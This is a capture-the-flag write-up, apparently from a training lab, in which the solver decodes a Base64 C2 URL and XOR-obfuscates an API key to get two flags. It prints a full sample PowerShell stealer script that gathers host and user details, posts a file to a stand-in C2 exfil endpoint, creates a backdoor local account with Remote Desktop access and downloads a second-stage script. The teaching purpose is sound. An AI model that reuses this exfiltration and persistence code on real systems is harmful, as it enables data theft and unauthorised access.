CHALLENGE INFORMATION

Description

McSkidy keeps her focus on a particular alert that caught her interest: an email posing as northpole-hr.

Summary

We investigate a suspicious email and examine the obfuscated PowerShell script. We learn that obfuscation techniques like Base64 and XOR are reversible once identified.

For task one, we decode a Base64-encoded string using CyberChef, revealing the C2 URL. We update the respective variable and run the script to get the first flag.

For task two, we obfuscate an API key using XOR and convert it to hexadecimal using CyberChef. Then just like before, we update the respective variable with the hex string and re-run the script to retrieve the second flag.

AOC25 - Day-18 Hero

Storyline

A suspicious email impersonating northpole-hr has triggered system chaos in WareVille. McSkidy recognizes the fraud since TBFC’s HR is actually at the South Pole. An attached file containing obfuscated code – deliberately hidden gibberish – was downloaded, and McSkidy must decipher it to understand the threat.

Theory

Obfuscation is a technique attackers use to hide data and evade detection. Common methods include the following:

  • ROT13: A simple cipher that shifts letters forward in the alphabet (easy to detect by looking for odd letters or common three-letter words).
  • XOR: Uses a mathematical operation with a key to transform bytes into random-looking symbols while maintaining the original length.
  • Base64: Encodes data into long alphanumeric strings, often ending with = or ==.

Detection and reversal involve identifying visual clues of each technique, then using tools like CyberChef to apply reverse operations (e.g., From Base64 instead of To Base64). CyberChef’s Magic operation can automatically guess and test common decoders when the technique is unknown.

Layered obfuscation combines multiple techniques (e.g., compression, XOR, then Base64 encoding) to make deobfuscation harder. To reverse layered obfuscation, apply operations in the opposite order.

Takeaway

Well-known obfuscation techniques are reversible once we identify the method used, making them useful for both attackers and security investigators.

Practice

Source Code

The full PowerShell script – SantaStealer.ps1 – contains the following obfuscated elements:

# Only edit where the TODOs say. Do not remove the validator call at the end.

# ==========================
# IGNORE THIS
# ==========================
$ErrorActionPreference = 'SilentlyContinue'

# ==========================
# Start here
# Part 1: Deobfuscation
# ==========================
# TODO (Step 1): Deobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable,
# then run this script to get the flag.

$C2B64 = "aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls"
$C2    = "<C2_URL_HERE>"   
# ==========================
# Part 2: Obfuscation
# ==========================
# TODO (Step 2): Obfuscate the API key using XOR single-byte key 0x37 and convert to hexidecimal,
# then add the hex string to the $ObfAPieEy variable.
# Then run this script again to receive Flag #2 from the validator.
$ApiKey = "CANDY-CANE-API-KEY"
$ObfAPIKEY = Invoke-XorDecode -Hex "<HEX_HERE>" -Key 0x37
# ========================== 
# ==========================
function Decode-B64 {
    param([Parameter(Mandatory=$true)][string]$S)
    try { [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($S)) } catch { "" }
}

function Invoke-XorDecode {
    [CmdletBinding()]
    param(
        [AllowEmptyString()][string]$Hex,
        [int]$Key
    )

    if ([string]::IsNullOrWhiteSpace($Hex)) {
        return ""
    }

    $clean = $Hex `
        -replace '(?i)0x','' `
        -replace '[\s,''"":;,_-]+','' `
        -replace '[^0-9A-Fa-f]',''

    if ($clean.Length -eq 0) {
        return ""
    }
    if (($clean.Length % 2) -ne 0) {
        return ""
    }

    $count = $clean.Length / 2
    $bytes = New-Object byte[] $count

    for ($i = 0; $i -lt $count; $i++) {
        $pair = $clean.Substring($i * 2, 2)
        try {
            $b = [Convert]::ToByte($pair, 16)
        } catch {
            $b = 0
        }
        $bytes[$i] = ($b -bxor $Key)
    }

    try {
        return [Text.Encoding]::UTF8.GetString($bytes)
    } catch {
        return ""
    }
}

# ==========================
# ==========================
function Get-SystemSnapshot {
    [PSCustomObject]@{
        ts   = (Get-Date).ToString("o")
        user = $env:USERNAME
        host = $env:COMPUTERNAME
        os   = (Get-CimInstance Win32_OperatingSystem).Version
        ps   = $PSVersionTable.PSVersion.ToString()
    }
}

function Get-PresentsFile {
    $path = Join-Path $env:USERPROFILE "Documents\Santa\Presents.txt"
    if (Test-Path -LiteralPath $path) {
        try { (Get-Content -LiteralPath $path -ErrorAction Stop) -join "`n" }
        catch { "[read error]" }
    } else { "[missing]" }
}

function New-ExfilPayload {
    param([psobject]$SystemInfo, [string]$Presents)
    [pscustomobject]@{
        t  = "present-list-exfil"
        ep = "[redacted]"
        sys= $SystemInfo
        pl = $Presents
    } | ConvertTo-Json -Depth 5 -Compress
}


# ==========================
# ==========================
function C2-Armed([string]$Url){
    try {
        if ([string]::IsNullOrWhiteSpace($Url)) { return $false }
        $u=[Uri]$Url
        ($u.Scheme -eq "https") -and ($u.Host -like "*northpole*")
    } catch { $false }
}
function Exfil([string]$Url,[string]$Payload,[string]$Key){
    try {
        $headers = @{ "X-Api-Key" = $Key; "Content-Type" = "application/json" }
        $null = Invoke-WebRequest -Uri $Url -Method POST -Body $Payload -Headers $headers -TimeoutSec 5
        $true
    } catch { $false }
}

# ==========================
# ==========================

$User       = "UmV2aWxSYWJiaXQ="                   
$Pass       = "SDBsbHlXMDBkXkNhcnJvdHMh"            
$RabbitUrl  = "aHR0cDovLzEyNy4wLjAuMTo4MDgwL3JhYmJpdC5wczE="  
function Ensure-RevilRabbit {
    $User = Decode-B64 $script:User
    $Pass = Decode-B64 $script:Pass
    $sec  = ConvertTo-SecureString $Pass -AsPlainText -Force
    if (-not (Get-LocalUser -Name $User -ErrorAction SilentlyContinue)) {
        New-LocalUser -Name $User -Password $sec -FullName "Service Account" -PasswordNeverExpires -UserMayNotChangePassword | Out-Null
    }
    try { Add-LocalGroupMember -Group "Remote Desktop Users" -Member $User -ErrorAction Stop } catch {}
}

function Stage-Rabbit-ForUser {
    $User = Decode-B64 $script:User
    $Url  = Decode-B64 $script:RabbitUrl

    $desk = "C:\Users\$User\Desktop"
    try {
        New-Item -ItemType Directory -Path $desk -Force | Out-Null
        & icacls $desk /grant "$env:COMPUTERNAME\${User}:(OI)(CI)M" /T | Out-Null
    } catch {}

    $out = Join-Path $desk 'rabbit.ps1'
    $ok = $false
    for ($i=0; $i -lt 3 -and -not $ok; $i++) {
        try {
            Invoke-WebRequest -Uri $Url -OutFile $out -TimeoutSec 10
            $ok = (Test-Path -LiteralPath $out) -and ((Get-Item -LiteralPath $out).Length -gt 0)
        } catch {
            Start-Sleep -Seconds 2
        }
    }
    if (-not $ok) {
        Set-Content -Path $out -Value '# rabbit placeholder' -Encoding UTF8
    }
}

# ==========================
# ==========================
Write-Host "[i] Operator session started"
Write-Host "[*] Recon: collecting host and user context"
$sys   = Get-SystemSnapshot

Write-Host "[*] Stealing Santas presents list"
$plist = Get-PresentsFile

Write-Host "[*] Preparing payload"
$body  = New-ExfilPayload -SystemInfo $sys -Presents $plist

if (C2-Armed $C2) {
    Write-Host "[*] Contacting C2 endpoint"
    $ok = Exfil -Url $C2 -Payload $body -Key $ApiKey
    if ($ok) { Write-Host "[+] Exfiltration reported as completed" } else { Write-Host "[i] Exfiltration attempted (no response)" }
} else {
    Write-Host "[i] C2 not reachable"
}

Write-Host "[*] Establishing foothold"
Ensure-RevilRabbit

Write-Host "[*] Downloading payload..."
Stage-Rabbit-ForUser

# ==========================
# !!! DO NOT MODIFY !!!
# ==========================
$ScriptPath = $MyInvocation.MyCommand.Path
$Validator  = Join-Path $PSScriptRoot "validator.exe"
if (Test-Path $Validator) {
    & $Validator --script "$ScriptPath"
} else {
    Write-Host "[!] validator.exe not found. No flags will be printed."
}

Preparation

We begin by examining the extracted artifacts, SantaStealer.ps1 and validator.exe, both located in C:\Users\Administrator\Desktop.

Figure 1: Potentially malicious artifacts on the Desktop

Figure 1: Potentially malicious artifacts on the Desktop

We use the pre-installed Visual Studio Code: to open and edit SantaStealer.ps1.

Figure 2: SantaStealer.ps1 opened in Visual Studio Code:

Figure 2: SantaStealer.ps1 opened in Visual Studio Code:

First Task

The first task instructs us to deobfuscate a string. This is the original description found within the script:

Deobfuscate the string present in the $C2B64 variable and place the URL in the $C2 variable, then run this script to get the flag.

and these are the mentioned variables, $C2B64 and $C2:

...
$C2B64 = "aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls"
$C2    = "<C2_URL_HERE>"
...

The string – aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls – in variable $C2B64 appears to be Base64-encoded. We use CyberChef’s From Base64 recipe to decode it.

aHR0cHM6Ly9jMi5ub3J0aHBvbGUudGhtL2V4Zmls – Base64-encoded message
↓ (transformation)
https://c2.northpole.thm/exfil – plaintext message

The instructions are clear: we overwrite the $C2 variable with the decoded URL and then run the script.

First, we modify the variable:

...
$C2    = "https://c2.northpole.thm/exfil"
...

then save the changes (press Ctrl+S) and launch PowerShell: Start > Right-Click > Windows PowerShell.

Finally, we navigate to the Desktop:

PS C:\Users\Administrator> cd c:\users\administrator\desktop
PS C:\users\administrator\desktop> dir
...
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
...
-a----              ...                     6255 SantaStealer.ps1
-a----              ...                 70919734 validator.exe
...
PS C:\users\administrator\desktop>

and then run the script:

PS C:\users\administrator\desktop> .\SantaStealer.ps1
[i] Operator session started
[*] Recon: collecting host and user context
[*] Stealing Santas presents list
[*] Preparing payload
[*] Contacting C2 endpoint
[i] Exfiltration attempted (no response)
[*] Establishing foothold
[*] Downloading payload...
<task-one_redacted-flag>
PS C:\users\administrator\desktop>

The script ran and provided us with the necessary flag.

Second Task

Returning to the source code of SantaStealer.ps1, these are the instructions for the second part:

Obfuscate the API key using XOR single-byte key 0x37 and convert to hexadecimal, then add the hex string to the $ObfAPIKEY variable. Then run this script again to receive Flag #2 from the validator.

and these are the mentioned variables:

$ApiKey = "CANDY-CANE-API-KEY"
$ObfAPIKEY = Invoke-XorDecode -Hex "<HEX_HERE>" -Key 0x37

Let’s break this up and work through it step-by-step:

Step 1: Obfuscate the API key using XOR single-byte key 0x37.

We use the XOR recipe in CyberChef with key ‘0x37’ (hex formatting) on the input ‘CANDY-CANE-API-KEY’.

Step 2: Convert to Hexadecimal.

We use the To Hex recipe (after the previously applied XOR recipe) with ‘None’ as the delimiter and ‘0’ as the bytes per line.

This produces the following output: 747679736e1a747679721a76677e1a7c726e.

Step 3: Add the hex string to the $ObfAPIKEY variable.

We modify the script and overwrite the $ObfAPIKEY variable as follows:

...
$ObfAPIKEY = Invoke-XorDecode -Hex "747679736e1a747679721a76677e1a7c726e" -Key 0x37
...

and then save it.

Step 4: Run the Script.

We re-run the script with PowerShell:

PS C:\users\administrator\desktop> .\SantaStealer.ps1
[i] Operator session started
[*] Recon: collecting host and user context
[*] Stealing Santas presents list
[*] Preparing payload
[*] Contacting C2 endpoint
[i] Exfiltration attempted (no response)
[*] Establishing foothold
[*] Downloading payload...
<task-one_redacted-flag>
<task-two_redacted-flag>
PS C:\users\administrator\desktop>

Great! We are provided with the second flag.

Questions and Answers

Question-1: What is the first flag you get after deobfuscating the C2 URL and running the script?

<redacted-flag>

Question-2: What is the second flag you get after obfuscating the API key and running the script again?

<redacted-flag>

Question-3: If you want to learn more about Obfuscation, check out our Obfuscation Principles room!

No answer needed